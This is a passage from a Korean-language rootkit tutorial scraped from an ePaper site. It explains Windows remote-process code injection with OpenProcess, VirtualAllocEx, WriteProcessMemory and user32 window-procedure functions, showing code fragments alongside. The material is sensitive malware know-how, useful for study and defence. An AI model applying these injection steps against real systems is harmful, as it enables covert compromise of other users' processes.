RootKit
RootKit
RootKit
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
사용할 프로시저나 함수의 포인터, 내부 변수등을 저장하게 된다.<br />
인젝션 하는 방법은 위의 방법과 마찬가지로 모듈을 얻어오는 것부터 시작하게<br />
된다. 하지만 우리가 필요한 함수는 LoadLibraryA 함수가 아닌<br />
SetWindowLongA, CallWndProcA 함수 이기 때문에 다른 모듈을 얻어와야 한<br />
다.<br />
// Get handle of "USER32.DLL"<br />
hUser32 = GetModuleHandle("user32");<br />
얻어오는 모듈의 핸들은 바로 user32 이다. 이곳에서 원하는 함수를 얻게 된<br />
다.<br />
// Open remote process<br />
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br />
원하는 프로세스를 열고,<br />
// Allocate memory in the remote process and write a copy of initialized<br />
INJDATA into it<br />
size = sizeof(INJDATA);<br />
pDataRemote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT,<br />
PAGE_EXECUTE_READWRITE);<br />
실행할 코드가 들어있는 INJDATA만큼의 공간을 할당 한다<br />
WriteProcessMemory(hProcess, pDataRemote, &DataLocal, size, &dwNumBytesCopied)<br />
할당된 공간에 INJDATA DataLocal을 써 넣는다.<br />
다음은 RemoteThread를 위한 공간을 할당하고 데이터를 써 넣을 차례이다.<br />
pGetSASWndRemote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT,<br />
PAGE_EXECUTE_READWRITE);<br />
WriteProcessMemory(hProcess, pGetSASWndRemote, &GetSASWnd, size,<br />
&dwNumBytesCopied)